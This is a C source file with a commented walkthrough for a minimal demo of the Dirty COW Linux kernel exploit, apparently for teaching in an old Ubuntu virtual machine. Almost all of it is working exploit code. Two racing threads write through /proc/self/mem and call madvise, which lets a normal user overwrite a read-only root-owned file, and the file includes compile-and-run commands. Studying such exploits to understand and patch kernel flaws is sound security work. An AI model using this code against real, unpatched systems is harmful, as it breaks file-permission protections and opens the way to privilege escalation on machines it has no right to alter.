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/**
 * This is a minimalistic demo of the Dirty Cow exploit.
 *
 *
 * To try it out -----
 *
 * 0. Download ubuntu-14.04.3-desktop-i386.iso from
 * http://old-releases.ubuntu.com/releases/14.04.0/
 * and run it as a Virtual Machine. Download this file.
 *
 * 1. As root:
 *     Create a file called "root_file" containing at least 10 characters.
 *     Allow reading only (for all users): chmod 404 root_file
 *
 * 2. As a normal user:
 *     gcc -pthread dirty_cow.c -o dirty_cow
 *     ./dirty_cow
 *     cat root_file
 *
 * What exactly does this script do? -----
 *
 * 1. Create mapping of root_file (using mmap) on virtual memory.
 * 2. Execute two threads:
 *     Thread 1: Write to the mapping through /proc/self/mem.
 *     Thread 2: Tell (madvise) the Kernel we don't need the mapping.
 *
 * Inspired by: https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtycow.c
 * Author: Nimesha Jayawardena
 */

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```

#include <stdio.h> // For printing
#include <fcntl.h> // For open()
#include <unistd.h> // For write() and lseek()
#include <sys/stat.h> // File info
#include <sys/mman.h> // For mmap()
#include <pthread.h> // Make sure to gcc with -pthread
#include <stdint.h> // For uintptr_t
#include <string.h> // For strlen()

```

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void *map;
char *file_name = "root_file";
char *to_be_written = "moo";

```

```

void *write_to_mapping (void *arg) {
    // Write to mapping through '/proc/self/mem'.
    int i;
    for (i = 0; i < 10000; i++) {
        int f = open("/proc/self/mem", O_RDWR);
        lseek(f, (uintptr_t)map, SEEK_SET);
        write(f, to_be_written, strlen(to_be_written));
    }
}

```

```

void* drop_mapping (void *arg) {
    // (m)advise kernel to drop mapping.
    int i;
    for (i = 0; i < 10000; i++)
        madvise(map, 100, MADV_DONTNEED);
}

```

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}

int main () {

    // Open and map the file.
    int f = open("root_file", O_RDONLY);
    struct stat file_info;
    fstat(f, &file_info);
    map = mmap(NULL, file_info.st_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Create and run two threads.
    pthread_t thread_1, thread_2;
    pthread_create(&thread_1, NULL, write_to_mapping, NULL);
    pthread_create(&thread_2, NULL, drop_mapping, NULL);
    pthread_join(thread_1, NULL);
    pthread_join(thread_2, NULL);

    return 0;
}
```